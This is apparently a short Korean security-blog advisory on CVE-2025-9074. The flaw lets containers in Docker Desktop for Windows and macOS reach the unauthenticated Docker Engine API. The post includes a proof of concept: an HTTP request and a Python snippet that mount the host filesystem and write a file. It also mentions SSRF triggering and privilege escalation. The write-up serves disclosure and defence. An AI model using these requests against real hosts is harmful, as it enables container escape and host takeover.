[하루한줄] CVE-2025-9074: Windows/macOS Docker Container Escape 취약점

URL

https://isosecu.com/blog/windows-cve-2025-9074-docker-ssrf

Target

  • Docker Desktop Windows/macOS < 4.44.3

Explain

Windows, macOS 플랫폼의 Docker Desktop에서 발견된 Container Escape 취약점 CVE-2025-9074의 세부 정보가 공개되었습니다.

Windows, macOS 플랫폼의 Docker Desktop은 게이트웨이에 바인딩된 TCP 서비스를 통해 컨테이너에 HTTP API인 http://192.168.65.7:2375를 expose합니다. 해당 API는 컨테이너 생성 및 시작, 이미지 관리, 호스트 볼륨 마운트 등 유저가 컨테이너를 컨트롤할 때 내부적으로 사용되는 Docker Engine API로, 컨테이너에서 API 요청시 인증이나 TLS를 요구하지 않아 컨테이너가 호스트의 관리 API와 통신이 가능합니다.

Linux는 TCP 서비스 대신 Unix 소켓/var/run/docker.sock을 사용하기 때문에, 해당 소켓이 컨테이너에 명시적으로 마운트되지 않는 한 취약점의 영향을 받지 않습니다.

PoC는 아래와 같습니다

PoC 출처: https://isosecu.com/blog/windows-cve-2025-9074-docker-ssrf

  1. 호스트 볼륨 바인딩을 사용하는 컨테이너를 생성합니다.
POST http://192.168.65.7:2375/containers/create
Content-Type: application/json
 
{
  "Image": "alpine",
  "Volumes": { 
    "C:\\": {} 
  },
  "HostConfig": {
    "Binds": ["C:\\: /mnt/host_c"]
  },
  "Cmd": ["touch", "/mnt/host_c/pwned_by_CVE_2025_9074"]
}
  1. 컨테이너에서 Docker Engine API에 요청을 보내는 것으로 호스트의 파일시스템에 접근할 수 있습니다.
import docker
client = docker.DockerClient(base_url="tcp://192.168.65.7:2375")
client.containers.run(
    "alpine",
    "touch /mnt/pwned",
    volumes=["/Users/youruser/:/mnt"]
)

취약점을 악용하면 컨테이너에서 실행되는 웹 서비스의 SSRF 취약점을 통해 Docker Engine API에 요청을 보내는 것으로 간단하게 호스트 시스템에 접근 가능합니다. 따라서 컨테이너에서의 완전한 코드 실행 권한이 없어도 Container Escape를 트리거할 수 있습니다.

취약점을 악용할 경우 WSL2 백엔드 기반의 Windows에서는 전체 파일 시스템 마운트, DLL hijacking 등을 통해 권한 상승까지 가능하며, macOS는 제한된 권한에서 동작하나 여전히 호스트 Docker에 접근 가능해 백도어 등으로 악용될 수 있습니다.

Reference

https://github.com/zenzue/CVE-2025-9074

https://blog.qwertysecurity.com/Articles/blog3.html